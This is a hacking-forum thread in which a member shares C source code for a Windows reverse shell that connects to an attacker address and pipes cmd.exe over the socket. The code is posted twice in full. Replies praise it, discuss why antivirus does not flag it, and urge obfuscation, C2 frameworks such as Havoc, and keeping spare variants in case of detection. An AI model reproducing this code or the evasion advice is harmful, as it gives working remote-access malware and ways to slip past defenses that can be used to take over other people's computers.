

Forum:[Hack Forums](#)

Thread: [Simple Local Reverse Shell](#)

lloyd1515 - August 6, 2024, 1:55 am

Hey, I'm new here. Just finished coding a simple reverse shell over LAN from a yt tutorial.

```
Code #include<winsock2.h>
#include<stdio.h>
#include<windows.h>
#include<ws2tcpip.h>
#pragma comment(lib, "Ws2_32.lib")
//add libws2_32.a at linker setting
int main()
{
    SOCKET shell;
    struct sockaddr_in shell_addr;
    WSADATA wsa;
    STARTUPINFO si;
    PROCESS_INFORMATION pi;

    int connect;
    char RecvServer[512];
    char ip_addr[]="attacker_ip";
    int port = 1234;//random port

    WSStartup(MAKEWORD(2,2), &wsa); //Initialise WinSock
    shell=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0);//create TCP socket

    shell_addr.sin_port= htons(port);
    shell_addr.sin_family=AF_INET;
    shell_addr.sin_addr.s_addr=inet_addr(ip_addr);

    connect=WSAConnect(shell,(SOCKADDR*)&shell_addr,sizeof(shell_addr),NULL,NULL,NULL,NU
LL);//connect to the target server

    if (connect==SOCKET_ERROR)
    printf("[!] Connection to the target server failed, Please try again!\n"),exit(0);
    else
    {
        recv(shell,RecvServer,sizeof(RecvServer),0);
        memset(&si,0,sizeof(si));
        si.cb=sizeof(si);
        si.dwFlags=(STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
        si.hStdInput=si.hStdOutput=si.hStdError=(HANDLE) shell; //Pipe std input/output/err to the
socket
        CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&si,&pi); //Spawn
Command Prompt
```

```
    WaitForSingleObject(pi.hProcess,INFINITE);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    memset(RecvServer,0,sizeof(RecvServer));
}

}
```

7 - August 6, 2024, 1:58 am

is this not detected by AV.
But anyway, great share.

I'd look into villain, havoc and obfuscation the powershell

[Video: <https://www.youtube.com/watch?v=grSBdZdUya0>]

lloyd1515 - August 6, 2024, 2:04 am

(Aug 6, 2024 01:58 AM)NulldB Wrote: [\[CITE\]](#) is this not detected by AV.
But anyway, great share.

I'd look into villain, havoc and obfuscation the powershell

Woah, thx for the share. When I run the executable I have real time protection off btw:)

ncrypt10n - August 6, 2024, 2:10 am

(Aug 6, 2024 02:04 AM)lloyd1515 Wrote: [\[CITE\]](#) Woah, thx for the share. When I run the executable I have real time protection off btw:)

I would say turn it on. and see if it gets detected. then keep coding and obfuscating to see if you can bypass it.

lloyd1515 - August 6, 2024, 2:15 am

(Aug 6, 2024 02:10 AM)ncrypt10n Wrote: [\[CITE\]](#) I would say turn it on. and see if it gets detected. then keep coding and obfuscating to see if you can bypass it.

Tried it with rtp off. Just ran the .exe on the windows machine and listened with nc on the linux machine. It worked:) Why is it undetectable? Weird...? I don't remember to have anything whitelisted. [I used CodeBlocks and opened the .exe from the bin folder]

DramaKing - August 6, 2024, 4:23 am

(Aug 6, 2024 02:15 AM)lloyd1515 Wrote: [\[CITE\]](#) Tried it with rtp off. Just ran the .exe on the windows machine and listened with nc on the linux machine. It worked:) Why is it undetectable? Weird...? I don't remember to have anything whitelisted. [I used CodeBlocks and opened the .exe from the bin folder]

A revshell from a tutorial not getting detected? That is weird.

happygonutty - August 6, 2024, 9:58 am

(Aug 6, 2024 02:15 AM)lloyd1515 Wrote: [\[CITE\]](#) Tried it with rtp off. Just ran the .exe on the windows machine and listened with nc on the linux machine. It worked:) Why is it undetectable? Weird...? I don't remember to have anything whitelisted. [I used CodeBlocks and opened the .exe from the bin folder]

Congratulations, you have yourself a good reverse shell! Better to make multiple versions of it with few tweaks and enhancements so you have spare bullets if it gets detected some day. ?

SuddenStrike2 - August 6, 2024, 11:41 am

(Aug 6, 2024 01:55 AM)lloyd1515 Wrote: [\[CITE\]](#) Hey, I'm new here. Just finished coding a simple

reverse shell over LAN from a yt tutorial.

```
Code #include<winsock2.h>
#include<stdio.h>
#include<windows.h>
#include<ws2tcpip.h>
#pragma comment(lib, "Ws2_32.lib")
//add libws2_32.a at linker setting
int main()
{
    SOCKET shell;
    struct sockaddr_in shell_addr;
    WSADATA wsa;
    STARTUPINFO si;
    PROCESS_INFORMATION pi;

    int connect;
    char RecvServer[512];
    char ip_addr[]="attacker_ip";
    int port = 1234;//random port

    WSAStartup(MAKEWORD(2,2), &wsa); //Initialise WinSock
    shell=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0);//create TCP socket

    shell_addr.sin_port= htons(port);
    shell_addr.sin_family=AF_INET;
    shell_addr.sin_addr.s_addr=inet_addr(ip_addr);

    connect=WSAConnect(shell,(SOCKADDR*)&shell_addr,sizeof(shell_addr),NULL,NULL,NULL,
    NULL);//connect to the target server

    if (connect==SOCKET_ERROR)
    printf("[!] Connection to the target server failed, Please try again!\n"),exit(0);
    else
    {
        recv(shell,RecvServer,sizeof(RecvServer),0);
        memset(&si,0,sizeof(si));
        si.cb=sizeof(si);
        si.dwFlags=(STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
        si.hStdInput=si.hStdOutput=si.hStdError=(HANDLE) shell; //Pipe std input/output/err to the
socket
        CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&si,&pi); //Spawn
Command Prompt
        WaitForSingleObject(pi.hProcess,INFINITE);
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
        memset(RecvServer,0,sizeof(RecvServer));
    }
}
```

(Aug 6, 2024 02:15 AM)lloyd1515 Wrote: [\[CITE\]](#) Tried it with rtp off. Just ran the .exe on the

windows machine and listened with nc on the linux machine. It worked:) Why is it undetectable? Weird...? I don't remember to have anything whitelisted. [I used CodeBlocks and opened the .exe from the bin folder]

(Aug 6, 2024 04:23 AM)DramaKing Wrote: [\[CITE\]](#) A revshell from a tutorial not getting detected? That is weird.

Fr? Okay I will save this and thank you very much for sharing OP.

BlackSoulZN5006 - August 6, 2024, 1:20 pm

Cool nice reverse shell what programming language is that ? I did a reverse shell in C#.

lloyd1515 - August 6, 2024, 1:45 pm

(Aug 6, 2024 01:20 PM)BlackSoulZN5006 Wrote: [\[CITE\]](#) Cool nice reverse shell what programming language is that ? I did a reverse shell in C#.

It is C:)

(Aug 6, 2024 11:41 AM)SuddenStrike2 Wrote: [\[CITE\]](#) Fr? Okay I will save this and thank you very much for sharing OP.

let me know if it works on your pc with rtp on

T3n - August 6, 2024, 2:44 pm

Good job, looks interesting.

BlackSoulZN5006 - August 7, 2024, 11:50 am

I see so its the C programming language which is older than C#